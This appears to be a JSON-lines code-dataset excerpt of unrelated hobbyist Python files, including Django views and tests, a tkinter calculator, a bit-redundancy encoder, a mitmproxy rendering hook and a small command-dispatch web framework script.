= event.pos\n mouseClicked = True\n boxx, boxy = getBoxAtPixel(mousex, mousey)\n if boxx != None and boxy != None:\n pass\n\n def changeBoardState(self,row,collumn,player):\n boardArray[row,column] = player\n\n def check4win(row, column):\n directions = [(-1,-1),(-1,0),(-1,1)(0,-1),(0,1),(1,-1),(1,0),(1,1)]\n for i in directions:\n #reset our moves to the original coordinates\n movey = row\n movex = column\n count = 1\n while True:\n #moving through the board in the direction i\n movey += i[0]\n movex += i[1]\n #check that our algorithm does not move out of the playing field\n if movey < 0 or movey > boardheight or movex < 0 or movex > boardwidth:\n continue\n #check if the tile we moved to contains a stone of the player\n if boardArray[movey,movex] == boardArray[row,collumn]:\n count +=1\n #check if we encounterd 4 stones already\n if count == 4:\n break\n won = True\n #if there is no stone or not the right stone skip this direction\n else:\n break\n if won == True:\n break\n\n\n\n\n\n\n '''def leftTopCoordsOfBox(self,boxx,boxy):\n left = boxx *(boxsize + gapsize) + xmargin\n top = boxy *(boxsize +gapsize) + ymargin\n return (left,top)\n\n def getBoxAtPixel(self,x,y):\n for boxx in range (boardwidth):\n for boxy in range(boardheight):\n left,top =leftTopCoordsOfBox(boxx,boxy)\n boxRect = pygame.Rect(left,top,boxsize,boxsize)\n if boxRect.collidepoint(x,y):\n return(boxx, boxy)\n return(None,None)\n\n def drawIcon(self,color,boxx,boxy):\n quarter = int(boxsize*0.25)\n half = int(boxsize*0.5)\n\n left, top= leftTopCoordsOfBox(boxx,boxy)\n pygame.draw.circle(displaysurf,color,(left+half,top+half),half-5)\n pygame.draw.circle(displaysurf,boxcolor,(left+half,top+half),quater-5)'''\n","sub_path":"python/groupproject/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"164332093","text":"import json\nfrom model_mommy import mommy\nfrom django.urls import reverse\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase\nfrom json import loads\nfrom restaurant_service.api.models import Complement, Item\n\n\nclass ComplementTests(APITestCase):\n def setUp(self):\n self.item = mommy.make(Item, \n name = 'X-Salada',\n value = 20.50,\n details = 'Sanduiche muito gostoso', \n category = \"1\",\n restaurant_cnpj = \"12345\"\n )\n self.complement = {\n 'name' : 'Bebida',\n 'description': 'Escolha uma bebida',\n 'value' : 2.00,\n 'selected': False,\n 'qtd' : 3,\n 'item' : self.item.pk\n }\n self.url_post = reverse('complement') # url \"api/complement\"\n\n\n def test_post_complement(self):\n \"\"\"\n Ensure we can create a new complement object.\n \"\"\"\n\n # test post with success\n response = self.client.post(self.url_post, self.complement, format='json') \n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n self.assertEqual(Complement.objects.count(), 1)\n self.assertEqual(Complement.objects.get().name, 'Bebida')\n \n\n def test_put_complement(self):\n \"\"\"\n Ensure we can put a complement\n \"\"\"\n \n response = self.client.post(self.url_post, self.complement, format='json') \n \n complement = Complement.objects.get(title=\"Bebida\") \n pk = complement.pk\n url_by_pk = reverse('complement_by_pk', args=[pk]) # url \"api/complement/\"\n\n # test put with success\n self.complement['title'] = 'Molho'\n response = self.client.put(url_by_pk, self.complement, format='json') \n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(Complement.objects.get(pk=pk).title, 'Molho')\n \n def test_delete_complement(self):\n \"\"\"\n Ensure we can delete a complement\n \"\"\"\n \n response = self.client.post(self.url_post, self.complement, format='json') \n\n complement = Complement.objects.get(title=\"Bebida\") \n pk = complement.pk\n url_by_pk = reverse('complement_by_pk', args=[pk]) # url \"api/complement/\"\n\n # test delete with success\n response = self.client.delete(url_by_pk, self.complement, format='json') \n self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)\n self.assertEqual(Complement.objects.count(), 0)\n\n","sub_path":"restaurant_service/tests/complement.py","file_name":"complement.py","file_ext":"py","file_size_in_byte":2562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"531794157","text":"from django.conf.urls import url,include\nfrom submission import views\nfrom rest_framework import routers\n\nrouters = routers.DefaultRouter()\nrouters.register('judgestatus', views.JudgeStatusView)\nrouters.register('getcode', views.GetCodeView)\nrouters.register('casestatus', views.CaseStatusView)\nrouters.register('quicktest', views.QuickTestView)\nrouters.register('rankboard', views.RankBoardView)\n\nurlpatterns =[\n url('', include(routers.urls)),\n url(r'submitcode', views.SubmitCodeView.as_view(), name='submitcode'),\n url(r'submittestcode', views.QuickTestSubmitCodeView.as_view(), name='submittestcode'),\n url(r'^rejudge', views.RejudgeView.as_view(), name='rejudge'),\n]","sub_path":"XTUOJ/submission/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"160369092","text":"from scipy.misc import imread\nimport bsc_functions as bsc\n\n# potrójna redundancja modularna - funkcja potrajająca każdy bit\ndef codeTMR(bit_array):\n result = []\n for x in range (0, len(bit_array)):\n for y in range(0, 3):\n result.append(bit_array[x])\n\n return result\n\n# dekodowanie TMR\ndef decodeTMR(bit_array):\n result = []\n\n for x in range(0, len(bit_array), 3):\n three_bits = bit_array[x : x + 3]\n\n count_one = 0\n for y in range(0, 3):\n if (int(three_bits[y]) == 1):\n count_one += 1\n \n if (count_one >= 2):\n result.append(1)\n else:\n result.append(0)\n\n return result\n\n\n# glowna funkcja programu\ndef main():\n print (\"Podaj prawdopodobienstwo bledu (0-100): \")\n fault_prob = float(input())\n\n img = imread(\"zdjecie.png\", True, 'L') # odczyt obrazu \n bits = bsc.imageToBitArray(img) # obraz na tablicę bitów\n bsc.saveToFile(bits, 'start.txt') # zapis do pliku\n\n bits_TMR = codeTMR(bits) # kodowanie TMR\n bits_TMR_errors = bsc.generateErrors(bits_TMR, fault_prob, 30) # generowanie błędów na potrojonych bitach\n bsc.saveToFile(bits_TMR_errors, 'wynik.txt') # zapis potrojonych bitów z błędami do pliku\n\n start_bits = bsc.readFromFile('start.txt') # odczyt prawidłowych bitów z pliku\n decoded_bits = decodeTMR(bsc.readFromFile('wynik.txt')) # odczyt i dekodowanie potrojonych bitów z błędami\n\n\n incorrect_bits_rate, incorrect_bytes_rate = bsc.countErrors(start_bits, decoded_bits)\n print(\"Procent prawidlowo przeslanych pikseli (ciag 8 bitów): %.3f%%\" %incorrect_bytes_rate)\n print(\"Procent prawidlowo przeslanych bitów: %.3f%%\" %incorrect_bits_rate)\n xbytes = bsc.bitsToBytes(decoded_bits)\n bsc.bytesToImg(xbytes, 'wynik.png')\nmain()","sub_path":"tmr2.py","file_name":"tmr2.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"426450554","text":"##for x in range(0,11):\n ##print(x)\n##i = -1\n##while i < 10:\n ##i += 1\n ##print(i)\n\n##nums = [0, 2, 8, 20, 43, 82, 195, 204, 367]\n##for num in nums:\n ##print(num)\n\n##for x in range(0,11):\n ##print(x)\n##else:\n ##print (\"done\")\n\n##ist1 = [\"apple\", \"banana\", \"cherry\", \"durian\", \"elderberry\", \"fig\"]\n##list2 = [\"avocado\", \"banana\", \"coconut\", \"date\", \"elderberry\", \"fig\"]\n\n##for fruit1 in list1:\n ##for fruit2 in list2:\n ##if fruit1 == fruit2:\n ##print(fruit1)\n\nimport random\n\nwhile True:\n x = random.randint(1,100)\n if x % 5 == 0:\n print(\"breaking......\")\n break\n if x % 3 == 0:\n print(\"skipping....\")\n continue\n print(x)\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Python-2-Exercises/Loops.py","file_name":"Loops.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"629236468","text":"from __future__ import print_function\nimport os, sys, datetime, subprocess, random\nDEBUG_MODE = 0\norigin = \"\"\nreferer = \"\"\nmoduleDir = os.getcwd() + \"/modules\"\nsecurityDir = os.getcwd() + \"/security\"\nconfigDir = os.getcwd() + \"/config\"\nlogDir = os.getcwd() + \"/log\"\nappDataDir = os.getcwd() + \"/appdata\"\ndescriptionDir = os.getcwd() + \"/descriptions\"\ndef convertToLegalPath(origin, referer):\n\torigin = origin.replace(\"/\",\"_\")\n\torigin = origin.replace(\":\",\"-\")\n\treferer = referer.replace(\"/\",\"_\")\n\treferer = referer.replace(\":\",\"-\")\n\treturn origin, referer\ndef accessDeniedLogFor(origin, referer, maincommand, command, useTemplate=True):\n\tglobal logDir\n\tlogBuffer = \"\"\n\tif os.path.exists(logDir + \"/\" + origin + \"/\" + referer + \"/\" + maincommand + \".log\"):\n\t\tsfile = open(logDir + \"/\" + origin + \"/\" + referer + \"/\" + maincommand + \".log\",\"r\")\n\t\tlogBuffer = sfile.read() + \"\\n\"\n\t\tsfile.close\n\tif not os.path.exists(logDir + \"/\" + origin):\n\t\tos.mkdir(logDir + \"/\" + origin)\n\tif not os.path.exists(logDir + \"/\" + origin + \"/\" + referer):\n\t\tos.mkdir(logDir + \"/\" + origin + \"/\" + referer)\n\tif os.path.exists(logDir):\n\t\tsfile = open(logDir + \"/\" + origin + \"/\" + referer + \"/\" + maincommand + \".log\", \"w\")\n\t\tif useTemplate == True:\n\t\t\tsfile.write(logBuffer + \"--------------------------\\nOrigin: \" + origin + \"\\nReferer: \" + referer + \"\\nBlocked command: \" + str(maincommand) + \" \" + str(command) + \"\\n--------------------------\")\n\t\telse:\n\t\t\tsfile.write(logBuffer + \"--------------------------\\n\" + str(command) + \"\\n--------------------------\")\n\t\tsfile.close()\ndef errorLog(origin, referer, maincommand, command, useTemplate=True):\n\tglobal logDir\n\tlogBuffer = \"\"\n\tif os.path.exists(logDir + \"/\" + \"errors.log\"):\n\t\tsfile = open(logDir + \"/\" + \"errors.log\",\"r\")\n\t\tlogBuffer = sfile.read() + \"\\n\"\n\t\tsfile.close\n\tif os.path.exists(logDir):\n\t\tsfile = open(logDir + \"/\" + \"errors.log\", \"w\")\n\t\tif useTemplate == True:\n\t\t\tsfile.write(logBuffer + \"--------------------------\\nOrigin: \" + origin + \"\\nReferer: \" + referer + \"\\nFailed to execute: \" + str(maincommand) + \" \" + str(command) + \"\\n--------------------------\")\n\t\telse:\n\t\t\tsfile.write(logBuffer + \"--------------------------\\n\" + str(command) + \"\\n--------------------------\")\n\t\tsfile.close()\ndef checkInstance():\n\tglobal configDir, DEBUG_MODE\n\tif os.path.exists(configDir + \"/config.cfg\"):\n\t\tsfile = open(configDir + \"/config.cfg\",\"r\")\n\t\tconfigData = sfile.read()\n\t\tsfile.close\n\t\tconfigData = configData.split(\"\\n\")\n\t\tfor item in configData:\n\t\t\tif not item.startswith(\"#\"):\n\t\t\t\titem = item.split(\" \")\n\t\t\t\tif item[0] == \"DEBUG_MODE\":\n\t\t\t\t\tDEBUG_MODE = int(item[1])\n\tif DEBUG_MODE == 1:\n\t\taccessDeniedLogFor(useTemplate=False, command=\"Debug mode activated at \" + str(datetime.datetime.now().strftime(\"%d.%m.%y %H:%M:%S\")) + \" GMT\")\n\t\terrorLog(useTemplate=False, command=\"Debug mode activated at \" + str(datetime.datetime.now().strftime(\"%d.%m.%y %H:%M:%S\")) + \" GMT\")\ndef checkAuthorisationFor(command, origin, referer):\n\tglobal securityDir, DEBUG_MODE\n\tif DEBUG_MODE == 0:\n\t\tif os.path.exists(securityDir + \"/all/\" + command):\n\t\t\treturn True\n\t\telse:\n\t\t\tif os.path.exists(securityDir + \"/\" + origin + \"/\" + referer + \"/\" + command):\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\telse:\n\t\treturn True\ndef prepareFile(content, cookie):\n\tglobal configDir, moduleDir, appDataDir, descriptionDir, securityDir, logDir, origin, referer\n\tos.environ[\"configDir\"] = str(configDir)\n\targs = \"configDir=\" + str(configDir) + \"\\n\"\n\tos.environ[\"moduleDir\"] = str(moduleDir)\n\targs += \"moduleDir=\" + str(moduleDir) + \"\\n\"\n\tos.environ[\"appDataDir\"] = str(appDataDir)\n\targs += \"appDataDir=\" + str(appDataDir) + \"\\n\"\n\tos.environ[\"descriptionDir\"] = str(descriptionDir)\n\targs += \"descriptionDir=\" + str(descriptionDir) + \"\\n\"\n\tos.environ[\"securityDir\"] = str(securityDir)\n\targs += \"securityDir=\" + str(securityDir) + \"\\n\"\n\tos.environ[\"logDir\"] = str(logDir)\n\targs += \"logDir=\" + str(logDir) + \"\\n\"\n\tos.environ[\"origin\"] = str(origin)\n\targs += \"origin=\" + str(origin) + \"\\n\"\n\tos.environ[\"referer\"] = str(referer)\n\targs += \"referer=\" + str(referer) + \"\\n\"\n\tif not cookie == \"\":\n\t\tos.environ[\"cookie\"] = str(cookie)\n\t\targs += \"cookie=\" + str(cookie) + \"\\n\"\n\tos.environ[\"content\"] = str(content)\n\targs += \"content=\" + str(content)\n\twhile True:\n\t\tchar1 = random.randint(0,9)\n\t\tchar2 = random.randint(0,9)\n\t\tchar3 = random.randint(0,9)\n\t\tchar4 = random.randint(0,9)\n\t\tchar5 = random.randint(0,9)\n\t\tchar6 = random.randint(0,9)\n\t\tend = \"package\"\n\t\tfilename = appDataDir.replace(\" \",\"%20\") + \"/request/\"\n\t\tfilename += str(char1)\n\t\tfilename += str(char2)\n\t\tfilename += str(char3)\n\t\tfilename += str(char4)\n\t\tfilename += str(char5)\n\t\tfilename += str(char6)\n\t\tfilename += str(end)\n\t\tif not os.path.exists(str(appDataDir) + \"/request\"):\n\t\t\tos.mkdir(str(appDataDir) + \"/request\")\n\t\tif not os.path.exists(filename):\n\t\t\tsfile = open(filename,\"w\")\n\t\t\tsfile.write(args)\n\t\t\tsfile.close()\n\t\t\tfilename = filename.replace(\" \",\"%20\")\n\t\t\treturn filename\ndef executeCommand(command, origin, referer, client, cookie):\n\tglobal configDir, moduleDir, appDataDir, descriptionDir, securityDir, logDir\n\tsfile = open(configDir + \"/\" + \"filetypes\",\"r\")\n\tfiletypes = sfile.read()\n\tsfile.close()\n\tcommand = command.split(\" \")\n\tif len(command) == 1:\n\t\tcommand.append(\"\")\n\tfiletypes = filetypes.split(\"\\n\")\n\tfor program in os.listdir(moduleDir):\n\t\tfor filetype in filetypes:\n\t\t\tif not filetype.startswith(\"#\"):\n\t\t\t\tfiletype = filetype.split(\" | \")\n\t\t\t\tif filetype[1] == \"None\":\n\t\t\t\t\tfiletype[1] = \"\"\n\t\t\t\tif os.path.splitext(moduleDir + \"/\" + program)[1] == filetype[0]:\n\t\t\t\t\tmaincommand = command[0]\n\t\t\t\t\tdel command[0]\n\t\t\t\t\tcommand_tmp = \"\"\n\t\t\t\t\tfirstRun = True\n\t\t\t\t\tfor item in command:\n\t\t\t\t\t\tif firstRun == True:\n\t\t\t\t\t\t\tcommand_tmp += item\n\t\t\t\t\t\t\tfirstRun = False\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tcommand_tmp += \" \" + item\n\t\t\t\t\tcommand = command_tmp\n\t\t\t\t\tif checkAuthorisationFor(maincommand, origin, referer) == True:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tcurDir = os.getcwd()\n\t\t\t\t\t\t\tos.chdir(appDataDir)\n\t\t\t\t\t\t\tpathToFile = str(prepareFile(command, cookie))\n\t\t\t\t\t\t\tparameters = str(filetype[1]) + \" \" + moduleDir + \"/\" + str(maincommand) + str(filetype[0]) + \" pathToFile=\" + pathToFile\n\t\t\t\t\t\t\tparameters = parameters.split(\" \")\n\t\t\t\t\t\t\tprogress = subprocess.Popen(parameters, shell=False, stdout=subprocess.PIPE)\n\t\t\t\t\t\t\tos.chdir(curDir)\n\t\t\t\t\t\t\toutput, statusCode = progress.communicate()\n\t\t\t\t\t\t\toutput = output.decode(\"UTF-8\")\n\t\t\t\t\t\t\toutput = output.replace(\"\\n\",\"\",-1)\n\t\t\t\t\t\t\tif os.path.exists(pathToFile):\n\t\t\t\t\t\t\t\tos.remove(pathToFile)\n\t\t\t\t\t\t\treturn output\n\t\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\t\terrorLog(origin, referer, maincommand, command)\n\t\t\t\t\t\t\treturn \"Cannot execute command \" + str(command) + \":\\n\" + str(e)\n\t\t\t\t\telse:\n\t\t\t\t\t\taccessDeniedLogFor(origin, referer, maincommand, command)\n\t\t\t\t\t\treturn \"Access denied for command \" + maincommand + \" [CODE: ACCESSDENIED]\"\ndef handleCommand(request, client):\n\tglobal origin, referer\n\tisTrue = True\n\treferer = \"null\"\n\torigin = \"null\"\n\tcookie = \"\"\n\tcontent = \"\"\n\theader = 'HTTP/1.1 200 OK\\r\\nDate: ' + str(datetime.datetime.now().strftime(\"%d.%m.%y %H:%M:%S\")) + ' GMT\\r\\nAccess-Control-Allow-Origin: *\\r\\nContent-Type: text/plain;\\r\\nContent-Length: [content_length] \\r\\nServer: Webapp Framework (WAF) (cross)\\r\\nETag: \"' + str(datetime.datetime.now().strftime(\"%d.%m.%y %H:%M:%S\")) + '\"\\r\\nAccept-Ranges: bytes\\r\\nConnection: close\\r\\n\\r\\n'\n\twhile isTrue == True:\n\t\titem = request[0]\n\t\tinterprete = item.split(\" \")\n\t\tif interprete[0] == \"Referer:\":\n\t\t\treferer = interprete[1]\n\t\telif interprete[0] == \"Origin:\":\n\t\t\torigin = interprete[1]\n\t\telif interprete[0] == \"Cookie:\":\n\t\t\tcookie = interprete[1]\n\t\telif item == \"\":\n\t\t\tisTrue = False\n\t\trequest.remove(item)\n\torigin, referer = convertToLegalPath(origin, referer)\n\tfor item in request:\n\t\tif content == \"\":\n\t\t\tcontent = item\n\t\telse:\n\t\t\tcontent += \"\\n\" + item\n\tcontent = str(executeCommand(content, origin, referer, client, cookie))\n\theader = header.replace(\"[content_length]\",str(len(content)))\n\treturn header + content\ndef main():\n\tglobal logDir, configDir, securityDir, moduleDir, appDataDir, descriptionDir\n\tfileBuffer = \"\"\n\tclient = \"\"\n\tpathToFile = sys.argv[1]\n\tpathToFile = pathToFile.replace(\"%20\",\" \")\n\tpathToFile = pathToFile.split(\"=\")\n\tsfile = open(pathToFile[1],\"r\")\n\tfileBuffer = sfile.read()\n\tsfile.close()\n\tfileBuffer = fileBuffer.split(\"\\n\")\n\twhile True:\n\t\titem = fileBuffer[0]\n\t\tif item.find(\"=\") > -1:\n\t\t\titem = item.split(\"=\")\n\t\t\tif item[0] == \"client\":\n\t\t\t\tclient = str(item[1])\n\t\t\telif item[0] == \"logDir\":\n\t\t\t\tlogDir = str(item[1])\n\t\t\telif item[0] == \"configDir\":\n\t\t\t\tconfigDir = str(item[1])\n\t\t\telif item[0] == \"securityDir\":\n\t\t\t\tsecurityDir = str(item[1])\n\t\t\telif item[0] == \"moduleDir\":\n\t\t\t\tmoduleDir = str(item[1])\n\t\t\telif item[0] == \"appDataDir\":\n\t\t\t\tappDataDir = str(item[1])\n\t\t\telif item[0] == \"descriptionDir\":\n\t\t\t\tdescriptionDir = str(item[1])\n\t\t\tdel fileBuffer[0]\n\t\telse:\n\t\t\tbreak\n\treturn fileBuffer, client\nfileBuffer, client = main()\ncheckInstance()\nprint(str(handleCommand(fileBuffer, client)))\n","sub_path":"plugins/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"393323896","text":"\"\"\"Drawing forests in a loop.\"\"\"\n\n__author__ = \"730320843\"\n\n# The string constant for the pine tree emoji\nTREE: str = '\\U0001F332'\n\nforest_depth = int(input(\"Depth: \"))\nif forest_depth > 0:\n counter = 0 \n row = 1\n num_trees = 0\n tree_string = \"\"\n while counter != forest_depth:\n counter = counter + 1\n while num_trees != row:\n tree_string = tree_string + '\\U0001F332'\n num_trees = num_trees + 1\n row = row + 1\n print(tree_string)\n","sub_path":"exercises/ex03/happy_trees.py","file_name":"happy_trees.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"36558781","text":"from django.shortcuts import render,redirect,get_object_or_404\n\n\nfrom .models import Team\nfrom .models import submission\n\n\n# Create your views here.\n\ndef home(request):\n return render(request,'index.html')\n\n\n\n\n\n# Create your views here.\n\ndef createTeam(request):\n if request.method == 'POST' :\n team = Team()\n team_name = request.POST['teamname']\n college_name = request.POST['collegename']\n college_add = request.POST['collegeadd']\n team_size = int(request.POST['teamsize'])\n\n if(team_size >0 and team_size <=4) :\n \n q = Team.objects.all()\n if(q.filter(teamName = team_name)):\n return render(request,'createteam.html',{'note':'This Team Name is Already Taken '})\n\n team.teamName = team_name\n team.college = college_name\n team.college_add = college_add\n team.teamsize = team_size\n team.save()\n\n return redirect('submitIdea/'+team_name+'/')\n\n else :\n return render(request,'createteam.html',{'note':'Enter Valid Team Size '})\n else:\n return render(request,'createteam.html')\n\ndef SubmitIdea(request,team_name):\n check = Team.objects.all()\n q = get_object_or_404(check , teamName = team_name)\n # print(q.teamName)\n if request.method == 'POST':\n x = q.teamsize\n teamname = request.POST['teamname']\n collegename = request.POST['collegename']\n problem = request.POST['problem']\n answer = request.POST['answer']\n gdrive = request.POST['gdrive']\n name1 = request.POST['name1']\n mail1 = request.POST['mail1']\n mob1 = request.POST['mob1']\n roll1 = request.POST['roll1']\n git1 = request.POST['git1']\n link1 = request.POST['link1']\n\n name2 = request.POST['name2']\n mail2= request.POST['mail2']\n mob2 = request.POST['mob2']\n roll2 = request.POST['roll2']\n git2 = request.POST['git2']\n link2 = request.POST['link2']\n if(x>2 and x<=3):\n name3 = request.POST['name3']\n mail3 = request.POST['mail3']\n mob3= request.POST['mob3']\n roll3 = request.POST['roll3']\n git3 = request.POST['git3']\n link3 = request.POST['link3']\n if(x>3 and x <=4):\n name4 = request.POST['name4']\n mail4 = request.POST['mail4']\n mob4= request.POST['mob4']\n roll4 = request.POST['roll4']\n git4 = request.POST['git4']\n link4 = request.POST['link4']\n\n s = submission()\n team = Team.objects.all()\n\n sq = submission.objects.all()\n t=team.filter(teamName = teamname)\n if(t):\n if(sq.filter(teamname = teamname)):\n return render(request,'submition.html',{'note':'Your Idea is Already Submitted','team':q})\n s.teamname = teamname\n s.college = collegename\n s.problem = problem\n s.solution = answer\n s.drivelink = gdrive\n s.name1= name1\n s.mail1= mail1\n s.mob1 = mob1\n s.roll1 = roll1\n s.git1 = git1\n s.link1 = link1\n s.name2 = name2\n s.mail2 = mail2\n s.mob2 = mob2 \n s.roll2 = roll2 \n s.git2 = git2\n s.link2 = link2 \n if(x>2):\n s.name3 = name3\n s.mail3 = mail3 \n s.mob3 = mob3 \n s.roll3 = roll3 \n s.git3 = git3 \n s.link3 = link3\n if(x>3):\n s.name4 = name4 \n s.mail4 = mail4 \n s.mob4 = mob4 \n s.roll4 = roll4 \n s.git4 = git4;\n s.link4 = link4 \n\n s.save() \n\n return redirect('/')\n\n else:\n \n return render(request,'submition.html',{'note':'Enter Valid Team Name ..(Please Enter previously created team name ..)','team':q})\n\n return render(request,'submition.html',context={'team':q , 'note':\"\"})\n\n\ndef complete(request):\n pass","sub_path":"hackathon/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"495384234","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom libmproxy.flow import Response\nfrom netlib.odict import ODictCaseless\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.firefox_profile import FirefoxProfile\n\ndef start(ctx, argv):\n\n global ff\n profile = FirefoxProfile()\n profile.set_preference('permissions.default.stylesheet', 2)\n profile.set_preference('permissions.default.image', 2)\n profile.set_preference('dom.ipc.plugins.enabled.libflashplayer.so', 'false')\n ff = webdriver.Firefox(profile)\n #ff = webdriver.PhantomJS()\n\ndef done(ctx):\n\n global ff\n ff.quit()\n\ndef request(ctx, flow):\n\n url = flow.request.get_url()\n ff.get(url)\n src = ff.page_source.encode('utf-8')\n res = Response(flow.request, [1,1], 200, 'OK',\n ODictCaseless([['Content-Type', 'text/html; charset=utf-8']]), src, None)\n flow.request.reply(res)\n","sub_path":"render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"248897145","text":"import sys\n\nmaxTurn = 30000000\nline = [int(n) for n in open(f'{sys.path[0]}/input.txt', 'r').readline().split(',')]\nturnMap = [-1] * (maxTurn + 1)\nfor i, num in enumerate(line):\n turnMap[num] = i + 1\nturn = len(line)\nlastNum, nextNum = line[-1], 0\nwhile (turn < maxTurn):\n curr = turnMap[lastNum]\n turnMap[lastNum] = turn\n lastNum = 0 if curr == -1 else turn - curr\n turn += 1\nprint(lastNum)\n","sub_path":"day15/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"17879868","text":"from tkinter import *\r\nimport tkinter.messagebox as tmsg\r\nroot = Tk()\r\nroot.geometry(\"350x400+300+300\")\r\nroot.resizable(0,0)\r\nroot.title(\"calculator\")\r\nroot.wm_iconbitmap(\"cal.ico\")\r\n\r\nval = \"\"\r\n\r\n# ********* button Functions *******\r\n\r\ndef bt(number):\r\n global val\r\n val = val + str(number)\r\n data.set(val)\r\n\r\n#************* Result ************\r\n\r\ndef Equal():\r\n global val\r\n try:\r\n result = eval(val)\r\n val = str(result)\r\n data.set(result)\r\n except:\r\n tmsg.showinfo(\"Notification\",\"Something is wrong, try again\")\r\n\r\n#************* clear ************\r\n\r\ndef clear():\r\n global val\r\n val = \"\"\r\n data.set(val)\r\n\r\n#************* Backspace ************\r\n\r\ndef back():\r\n global val\r\n b = len(lbl.get())\r\n lbl.delete(b-1,\"end\")\r\n if b == 1:\r\n lbl.insert(0,\"0\")\r\n val = \"\"\r\n data.set(val)\r\n\r\n\r\n#Label\r\ndata = StringVar()\r\n\r\nlbl = Entry(root,text = \"Label\",font=\"3ds 18 bold\",justify = \"right\",textvariable = data,bg=\"white\",fg=\"black\",relief=SUNKEN)\r\nlbl.pack(expand=True,fill=BOTH)\r\n\r\nback = Button(lbl,text = \"back\",font=\"3ds 12 \",relief=GROOVE,bd=0,command=back,activebackground = \"#ba68c8\")\r\nback.pack(anchor=\"s\",side=LEFT)\r\n\r\n#Frames\r\n\r\nbtrow1 = Frame(root)\r\nbtrow1.pack(expand = True,fill=BOTH)\r\n\r\nbtrow2 = Frame(root)\r\nbtrow2.pack(expand = True,fill=BOTH)\r\n\r\nbtrow3 = Frame(root)\r\nbtrow3.pack(expand = True,fill=BOTH)\r\n\r\nbtrow4 = Frame(root)\r\nbtrow4.pack(expand = True,fill=BOTH)\r\n\r\n\r\n#BUTTONS\r\n\r\n#Button 1\r\nbtn11 = Button(btrow1,text=\"1\",padx= 10,pady=5,font=\"3ds 18 bold\",relief=GROOVE,border=0,command=lambda:bt(1),bg=\"#e0e0e0\",activebackground = \"#ba68c8\")\r\nbtn11.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\nbtn12 = Button(btrow1,text=\"2\",font=\"3ds 18 bold\",padx= 10,pady=5,relief=GROOVE,border=0,command=lambda:bt(2),bg=\"#e0e0e0\",activebackground = \"#ba68c8\")\r\nbtn12.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\nbtn13 = Button(btrow1,text=\"3\",font=\"3ds 18 bold\",padx= 10,pady=5,relief=GROOVE,border=0,command=lambda:bt(3),bg=\"#e0e0e0\",activebackground = \"#ba68c8\")\r\nbtn13.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\nbtn14 = Button(btrow1,text=\"+\",font=\"3ds 18 bold\",padx= 9,pady=5,relief=GROOVE,border=0,command=lambda:bt(\"+\"),bg=\"#9e9e9e\",activebackground = \"#ba68c8\")\r\nbtn14.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\n\r\n#Button 2\r\nbtn21 = Button(btrow2,text=\"4\",font=\"3ds 18 bold\",padx= 10,pady=5,relief=GROOVE,border=0,command=lambda:bt(4),bg=\"#e0e0e0\",activebackground = \"#ba68c8\")\r\nbtn21.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\n\r\nbtn22 = Button(btrow2,text=\"5\",font=\"3ds 18 bold\",padx= 10,pady=5,relief=GROOVE,border=0,command=lambda:bt(5),bg=\"#e0e0e0\",activebackground = \"#ba68c8\")\r\nbtn22.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\n\r\nbtn23 = Button(btrow2,text=\"6\",font=\"3ds 18 bold\",padx= 10,pady=5,relief=GROOVE,border=0,command=lambda:bt(6),bg=\"#e0e0e0\",activebackground = \"#ba68c8\")\r\nbtn23.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\n\r\nbtn24 = Button(btrow2,text=\"-\",font=\"3ds 18 bold\",padx= 12,pady=5,relief=GROOVE,border=0,command=lambda:bt(\"-\"),bg=\"#9e9e9e\",activebackground = \"#ba68c8\")\r\nbtn24.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\n\r\n#Button 3\r\nbtn31 = Button(btrow3,text=\"7\",font=\"3ds 18 bold\",padx= 10,pady=5,relief=GROOVE,border=0,command=lambda:bt(7),bg=\"#e0e0e0\",activebackground = \"#ba68c8\")\r\nbtn31.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\nbtn32 = Button(btrow3,text=\"8\",font=\"3ds 18 bold\",padx= 10,pady=5,relief=GROOVE,border=0,command=lambda:bt(8),bg=\"#e0e0e0\",activebackground = \"#ba68c8\")\r\nbtn32.pack(side = LEFT,expand=True,fill = BOTH)\r\n\r\nbtn33 = 